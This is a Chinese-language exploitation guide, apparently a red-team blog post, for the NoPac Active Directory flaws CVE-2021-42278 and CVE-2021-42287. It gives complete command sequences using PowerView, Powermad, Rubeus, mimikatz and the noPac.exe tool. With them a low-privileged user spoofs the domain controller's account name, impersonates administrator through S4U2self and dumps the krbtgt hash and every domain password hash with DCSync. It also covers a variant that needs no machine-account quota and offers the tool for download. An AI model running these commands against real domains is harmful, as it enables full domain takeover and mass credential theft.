CVE-2021-42278 + CVE-2021-42287(NoPac)利用指南

author:Su1Xu3@深蓝攻防实验室

CVE-2021-42278 + CVE-2021-42287

原理

CVE-2021-42278,机器用户应当是computer$的形式,但是实际并没有验证机器账号是否有$。导致机器用户名可以被模拟冒用。

CVE-2021-42287,使用computer的TGT通过另一个用户去请求computer自己的ST时,将TGT发送给KDC后,当KDC找不到computer。KDC会再次寻找computer$的ST,从而获得了computer$的ST。从而获得了computer$的权限。

利用条件

检查域控是否易受攻击

此处通过一键利用工具获取TGT,返回大小只有527字节,得知可以请求没有pac的TGT。所以域控可以被攻击。

我们可以再用rubeus手动请求一个正常的TGT看看,下图是正常大小的TGT,1713个字符。

检查MAQ的利用权限

# 需要Powerview
# 查看域内MAQ的使用权限
import-module .\PowerView.ps1
(Get-DomainPolicy -Policy DC).PrivilegeRights | select SeMachineAccountPrivilege | %{$_ | Add-Member -NotePropertyName 'PrincipalName' -NotePropertyValue (ConvertFrom-SID $_.SeMachineAccountPrivilege.substring(1,$_.SeMachineAccountPrivilege.length-1));$_ | Format-List}

如图所示,域内任意用户都可以使用MAQ增加机器进域。

检查MAQ的默认值

# 需要安装Active Directory PowerShell模块 或者 远程服务器管理工具(RAST)
# 查询域内MAQ(ms-DS-MachineAccountQuota属性)的情况
import-module ActiveDirectory
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

Get-AdDomain | select -exp DistinguishedName | get-adobject -prop 'ms-DS-MachineAccountQuota'

如图所示,域内默认每个用户可以让10台机器进域。

查看用户导入了几个机器。

利用方法一 手动:

# exploit.local是域名,WIN-HHPV37PB123是DC的机器名称,demo5是新建的机器名,1qaz@WSX是新建的机器用户的密码。

# 使用Powershell创建机器用户
$password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
New-MachineAccount -MachineAccount "demo5" -Password $($password) -Domain "exploit.local" -DomainController "WIN-HHPV37PB123.exploit.local" -Verbose

# 使用Powershell清除机器用户的SPN
Set-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local" -Clear 'serviceprincipalname' -Verbose

# 使用powershell将机器用户名修改为DC的用户名。注意不带$符号
Set-MachineAccountAttribute -MachineAccount "demo5" -Value "WIN-HHPV37PB123" -Attribute samaccountname -Verbose

# 查看机器用户名是否修改成功
Get-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local"

# 使用Rubeus用机器账号向DC请求TGT
Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap

# 将机器用户名重置为原来的用户名
Set-MachineAccountAttribute -MachineAccount "demo5" -Value "demo5" -Attribute samaccountname -Verbose

# 使用请求的TGT通过S4U2self获取ST 注意,impersonateuser必须要存在才有效,如果域内administrator被禁用,换成其他域管
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]

# 可选命令,查看获取的ST
klist

# 使用Mimikatz进行Dcsync
mimikatz.exe "lsadump::dcsync /domain:exploit.local /kdc:WIN-HHPV37PB123.exploit.local /user:krbtgt" "exit"

# 可选命令,清除所有的ST
klist purge

利用Powermad手动添加机器账户

清除新建的机器用户自带SPN(如果不清除,修改sam name的时候会尝试修改域控的SPN,导致失败)

修改新建的机器用户的sam name为域控的名称

可选命令,查看sam name是否修改成功

使用新建的机器用户从易受攻击的域控获取TGT

将新建机器用户的sam name修改回原本的名称

使用刚刚获取的TGT去请求域控ldap服务的ST

可选命令,查看刚刚获取的ST是否有误

使用mimikatz导出krbtgt用户的hash

可选命令,清除ST

利用方法二 工具:

# 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
noPac.exe scan -domain exploit.local -user "lowpriv" -pass "1qaz@WSX"

# 使用一键化工具获得域控cifs的权限
noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo6 /mPassword 1qaz@WSX /service cifs /ptt

# 使用一键化工具获得域控ldap服务的权限,同样此处的impersonate和手动利用方式一致,需要该用户可用
noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo7 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

# 使用dcsync导出域内所有密码
mimikatz.exe "lsadump::dcsync /domain:exploit.local /all" "exit"

检查是否存在漏洞

获得cifs权限的ST并测试ST可用

获取ldap权限的ST并导出所有域内hash

利用方法三 无MAQ时利用的探讨:

当没有MAQ权限的时候,使用用户账户也可完成该攻击。前提是能修改用户账户的sAMAccountName属性,同时具有这个用户的密码以获得TGT。如果被利用的用户注册了SPN,还需要将该用户的SPN删除,否则重命名操作无效。其余步骤与利用方法一一致。

需要的权限

所需要的最小权限是对SAM-ACCOUNT-Name属性的WriteProperty权限

较为常见的常见覆盖了SAM-Account-Name的WriteProperty权限

常见包含WriteProperty最大的GenericALL权限

利用方法

# 需要powerview.ps1
# 查看lowpriv用户对test用户具有什么权限
import-module .\PowerView.ps1
Get-DomainObjectAcl test -ResolveGUIDs | ?{$_.SecurityIdentifier -eq (Get-DomainUser lowpriv).objectsid}

# 修改test用户的sam name属性为域控
Set-DomainObject "CN=t,CN=Users,DC=exploit,DC=local" -Set @{'samaccountname'='WIN-HHPV37PB123'} -Verbose

# 使用Rubeus用用户账号向DC请求TGT
Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap

# 还原test用户的sam name属性
Set-DomainObject "CN=t,CN=Users,DC=exploit,DC=local" -Set @{'samaccountname'='test'} -Verbose

# 使用请求的TGT通过S4U2self获取ldap服务的ST
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]

# 使用Mimikatz进行Dcsync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

查看lowpriv用户对test用户的ACL权限

修改test用户的sam name为域控的sam name

查询test用户的sam name是否被修改

利用刚刚获取的TGT换取域控cifs服务的ST并测试是否有效

noPac工具.zip (0.956 MB) 下载附件
点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖